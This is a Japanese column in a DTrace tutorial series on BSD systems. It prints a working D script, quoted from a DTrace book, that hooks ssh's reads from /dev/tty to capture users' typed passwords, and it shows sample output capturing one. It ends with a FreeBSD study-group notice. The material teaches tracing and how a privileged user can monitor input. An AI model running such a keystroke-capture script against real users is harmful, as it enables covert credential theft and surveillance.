BSD界隈四方山話

第90回DTraceの使い方 その10

セキュリティ

DTraceはセキュリティの目的でも活用できます。システムコールをフックできるわけですので、キーロガー的なものもすぐに実現できます。ユーザが何を入力しているかをモニタリングするというのはこれはこれで面白いので、今回はこの処理を紹介します。

次のDスクリプトはssh(1)コマンドの動きを追っていき、ユーザが入力するパスワードなどを表示するというものです。

リスト sshkeysnoop.d
#!/usr/sbin/dtrace -s

#pragma D option quiet

/*
 * Print header
 */
dtrace:::BEGIN
{
	/* print header */
	printf("%5s %5s %5s %5s  %s\n", "UID", "PID", "PPID", "TYPE", "TEXT");
}

/*
 * Print ssh execution
 */
syscall::exec*:return
/execname == "ssh"/
{
	/* print output line */
	printf("%5d %5d %5d %5s  %s\n\n", curpsinfo->pr_euid, pid,
	    curpsinfo->pr_ppid, "cmd", stringof(curpsinfo->pr_psargs));
}

/*
 * Determine which fd is /dev/tty
 */
syscall::open*:entry
/execname == "ssh"/
{
	self->path = arg0;
}

syscall::open*:return
/self->path && copyinstr(self->path) == "/dev/tty"/
{
	/* track this syscall */
	self->ok = 1;
}

syscall::open*:return { self->path = 0; }

syscall::open*:return
/self->ok/
{
	/* save fd number */
	self->fd = arg0;
}

/*
 * Print ssh keystrokes
 */
syscall::read*:entry
/execname == "ssh" && arg0 == self->fd/
{
	/* remember buffer address */
	self->buf = arg1;
}

syscall::read*:return
/self->buf != NULL && arg0 < 2/
{
	this->text = (char *)copyin(self->buf, arg0);

	/* print output line */
	printf("%5d %5d %5d %5s  %s\n", curpsinfo->pr_euid, pid,
	    curpsinfo->pr_ppid, "key", stringof(this->text));
	self->buf = NULL;
}

実行すると次のようになります。ユーザが入力したパスワードなどのデータを確認できます。システムコールをフックしているのでこうしたデータが取得できるのは当たり前なのですが、こうやって簡単に実現できると味わい深いものがあります。

 sshkeysnoop.dの実行結果: sshでの入力キーをキャプチャしていることがわかります
# ./sshkeysnoop.d 2> /dev/null
  UID   PID  PPID  TYPE  TEXT
  501 49801 49419   cmd  ssh 192.168.1.101

  501 49801 49419   key  p
  501 49801 49419   key  a
  501 49801 49419   key  s
  501 49801 49419   key  s
  501 49801 49419   key  w
  501 49801 49419   key  o
  501 49801 49419   key  r
  501 49801 49419   key  d
  501 49801 49419   key

  501 49803 49419   key
  501 49805 49419   key
  501 49807 49419   cmd  ssh 192.168.1.1

  501 49807 49419   key
  501 49807 49419   key
  501 49807 49419   key
  501 49807 49419   key  a
  501 49807 49419   key
  501 49807 49419   key
  501 49813 49419   cmd  ssh 192.168.1.101

  501 49813 49419   key  )
  501 49813 49419   key  %
  501 49813 49419   key  )
  501 49813 49419   key  a
  501 49813 49419   key
  501 49813 49419   key
  501 49813 49419   key  w
  501 49813 49419   key  h
  501 49813 49419   key  a
  501 49813 49419   key  t
  501 49813 49419   key  s
  501 49813 49419   key  t
  501 49813 49419   key  h
  501 49813 49419   key  i
  501 49813 49419   key  s
  501 49813 49419   key

  501 49819 49419   key
^C

#

Dスクリプトのポイントは/dev/ttyをopen(2)しているところをフックして、そこからread(2)している部分をモニタリングしているところにあります。こうすることでssh(1)でパスワードなどが入力される部分のユーザのキー入力を持ってきています。

※ ここに掲載したサンプルスクリプトは"DTrace Dynamic Tracing In Oracle Solaris, Mac OS X & FreeBSD", by Brendan Gregg and Jim Mauro P.876、P.877より抜粋したものです(FreeBSDで実行した結果を掲載しています⁠⁠。

勉強会

第61回 3月23日(木) 19:00- FreeBSD勉強会:リキャップ・ザ・AsiaBSDCon 2017 ~日本語でふりかえるABC~

2017年3月9~12日まで東京でAsiaBSDCon 2017が開催される予定です。ぜひこのカンファレンスにご参加いただきたいわけなのですが、なかにはどうしても仕事の都合で参加できなかったとか、正直英語がよくわからなかったとか、そういった方もいらっしゃるのではないかと思います。

3月のFreeBSD勉強会では、AsiaBSDCon 2017のあとというこのタイミングを活かして、AsiaBSDCon 2017の発表内容を振り返ってみよう、というのをやってみようと思います。AsiaBSDConに参加しているにもかかわらず、これまで一度もプロシーディングを読み返したことすらないというあなた、ぜひプロシーディングを持参してご参加ください :) AsiaBSDConに参加できなかったというあなたも、この機会をお見逃しなく(できればAsiaBSDConそのものに参加した方が絶対的によいです、あしからず⁠⁠。

FreeBSD勉強会 発表者募集

FreeBSD勉強会では発表者を募集しています。FreeBSDに関して発表を行いたい場合、@daichigotoまでメッセージをお願いします。1時間半~2時間ほどの発表資料を作成していただき発表をお願いできればと思います。

おすすめ記事

記事・ニュース一覧